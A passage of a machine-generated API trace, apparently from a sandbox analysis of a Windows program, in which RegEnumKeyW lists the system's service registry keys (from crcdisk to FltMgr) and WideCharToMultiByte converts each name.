lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0191.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crcdisk", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="crcdisk", lpUsedDefaultChar=0x0) returned 7 [0191.046] RegEnumKeyW (in: hKey=0x140, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0191.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crypt32", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0191.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crypt32", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="crypt32", lpUsedDefaultChar=0x0) returned 7 [0191.046] RegEnumKeyW (in: hKey=0x140, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0191.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0191.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptsvc", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cryptsvc", lpUsedDefaultChar=0x0) returned 8 [0191.046] RegEnumKeyW (in: hKey=0x140, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0191.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="csc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0191.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="csc", cchWideChar=3, lpMultiByteStr=0x21f18e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="csc", lpUsedDefaultChar=0x0) returned 3 [0191.046] RegEnumKeyW (in: hKey=0x140, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0191.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cscservice", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0191.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cscservice", cchWideChar=10, lpMultiByteStr=0x21f1a90, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cscservice", lpUsedDefaultChar=0x0) returned 10 [0191.046] RegEnumKeyW (in: hKey=0x140, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0191.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dclocator", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0191.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dclocator", cchWideChar=9, lpMultiByteStr=0x21f18e0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dclocator", lpUsedDefaultChar=0x0) returned 9 [0191.047] RegEnumKeyW (in: hKey=0x140, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0191.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dcomlaunch", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0191.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dcomlaunch", cchWideChar=10, lpMultiByteStr=0x21f1a90, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dcomlaunch", lpUsedDefaultChar=0x0) returned 10 [0191.047] RegEnumKeyW (in: hKey=0x140, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0191.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="defragsvc", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0191.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="defragsvc", cchWideChar=9, lpMultiByteStr=0x21f18e0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="defragsvc", lpUsedDefaultChar=0x0) returned 9 [0191.047] RegEnumKeyW (in: hKey=0x140, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0191.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfsc", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0191.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfsc", cchWideChar=4, lpMultiByteStr=0x21f1a90, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfsc", lpUsedDefaultChar=0x0) returned 4 [0191.047] RegEnumKeyW (in: hKey=0x140, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0191.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dhcp", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0191.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dhcp", cchWideChar=4, lpMultiByteStr=0x21f18e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dhcp", lpUsedDefaultChar=0x0) returned 4 [0191.047] RegEnumKeyW (in: hKey=0x140, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0191.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagtrack", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0191.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagtrack", cchWideChar=9, lpMultiByteStr=0x21f1a90, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="diagtrack", lpUsedDefaultChar=0x0) returned 9 [0191.047] RegEnumKeyW (in: hKey=0x140, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0191.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="discache", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0191.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="discache", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="discache", lpUsedDefaultChar=0x0) returned 8 [0191.048] RegEnumKeyW (in: hKey=0x140, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0191.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="disk", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0191.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="disk", cchWideChar=4, lpMultiByteStr=0x21f1a90, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="disk", lpUsedDefaultChar=0x0) returned 4 [0191.048] RegEnumKeyW (in: hKey=0x140, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0191.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dmvsc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0191.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dmvsc", cchWideChar=5, lpMultiByteStr=0x21f18e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dmvsc", lpUsedDefaultChar=0x0) returned 5 [0191.048] RegEnumKeyW (in: hKey=0x140, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0191.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dnscache", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0191.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dnscache", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dnscache", lpUsedDefaultChar=0x0) returned 8 [0191.048] RegEnumKeyW (in: hKey=0x140, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0191.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dot3svc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0191.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dot3svc", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dot3svc", lpUsedDefaultChar=0x0) returned 7 [0191.048] RegEnumKeyW (in: hKey=0x140, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0191.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dps", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0191.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dps", cchWideChar=3, lpMultiByteStr=0x21f1a90, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dps", lpUsedDefaultChar=0x0) returned 3 [0191.048] RegEnumKeyW (in: hKey=0x140, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0191.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drmkaud", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0191.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drmkaud", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drmkaud", lpUsedDefaultChar=0x0) returned 7 [0191.049] RegEnumKeyW (in: hKey=0x140, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0191.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxgkrnl", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0191.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxgkrnl", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dxgkrnl", lpUsedDefaultChar=0x0) returned 7 [0191.049] RegEnumKeyW (in: hKey=0x140, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0191.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="e1g60", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0191.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="e1g60", cchWideChar=5, lpMultiByteStr=0x21f18e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="e1g60", lpUsedDefaultChar=0x0) returned 5 [0191.049] RegEnumKeyW (in: hKey=0x140, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0191.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eaphost", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0191.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eaphost", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eaphost", lpUsedDefaultChar=0x0) returned 7 [0191.049] RegEnumKeyW (in: hKey=0x140, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0191.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ebdrv", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0191.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ebdrv", cchWideChar=5, lpMultiByteStr=0x21f18e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ebdrv", lpUsedDefaultChar=0x0) returned 5 [0191.049] RegEnumKeyW (in: hKey=0x140, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0191.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="efs", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0191.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="efs", cchWideChar=3, lpMultiByteStr=0x21f1a90, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="efs", lpUsedDefaultChar=0x0) returned 3 [0191.050] RegEnumKeyW (in: hKey=0x140, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0191.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehrecvr", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0191.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehrecvr", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ehrecvr", lpUsedDefaultChar=0x0) returned 7 [0191.050] RegEnumKeyW (in: hKey=0x140, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0191.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehsched", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0191.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehsched", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ehsched", lpUsedDefaultChar=0x0) returned 7 [0191.050] RegEnumKeyW (in: hKey=0x140, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0191.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="elxstor", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0191.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="elxstor", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="elxstor", lpUsedDefaultChar=0x0) returned 7 [0191.050] RegEnumKeyW (in: hKey=0x140, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0191.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="errdev", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0191.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="errdev", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="errdev", lpUsedDefaultChar=0x0) returned 6 [0191.050] RegEnumKeyW (in: hKey=0x140, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0191.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="esent", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0191.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="esent", cchWideChar=5, lpMultiByteStr=0x21f18e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="esent", lpUsedDefaultChar=0x0) returned 5 [0191.051] RegEnumKeyW (in: hKey=0x140, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0191.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventlog", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0191.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventlog", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventlog", lpUsedDefaultChar=0x0) returned 8 [0191.051] RegEnumKeyW (in: hKey=0x140, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0191.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0191.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x21f18e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventsystem", lpUsedDefaultChar=0x0) returned 11 [0191.051] RegEnumKeyW (in: hKey=0x140, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0191.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exfat", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0191.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exfat", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="exfat", lpUsedDefaultChar=0x0) returned 5 [0191.051] RegEnumKeyW (in: hKey=0x140, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0191.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fastfat", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0191.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fastfat", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fastfat", lpUsedDefaultChar=0x0) returned 7 [0191.051] RegEnumKeyW (in: hKey=0x140, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0191.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0191.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x21f1a90, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fax", lpUsedDefaultChar=0x0) returned 3 [0191.051] RegEnumKeyW (in: hKey=0x140, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0191.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0191.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdc", cchWideChar=3, lpMultiByteStr=0x21f18e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fdc", lpUsedDefaultChar=0x0) returned 3 [0191.052] RegEnumKeyW (in: hKey=0x140, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0191.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdphost", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0191.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdphost", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fdphost", lpUsedDefaultChar=0x0) returned 7 [0191.052] RegEnumKeyW (in: hKey=0x140, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0191.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdrespub", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0191.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdrespub", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fdrespub", lpUsedDefaultChar=0x0) returned 8 [0191.052] RegEnumKeyW (in: hKey=0x140, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0191.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fileinfo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0191.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fileinfo", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fileinfo", lpUsedDefaultChar=0x0) returned 8 [0191.052] RegEnumKeyW (in: hKey=0x140, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0191.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="filetrace", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0191.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="filetrace", cchWideChar=9, lpMultiByteStr=0x21f18e0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="filetrace", lpUsedDefaultChar=0x0) returned 9 [0191.052] RegEnumKeyW (in: hKey=0x140, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0191.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flpydisk", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0191.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flpydisk", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flpydisk", lpUsedDefaultChar=0x0) returned 8 [0191.052] RegEnumKeyW (in: hKey=0x140, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0191.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fltmgr", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0191.052] WideCharToMultiByte (in: 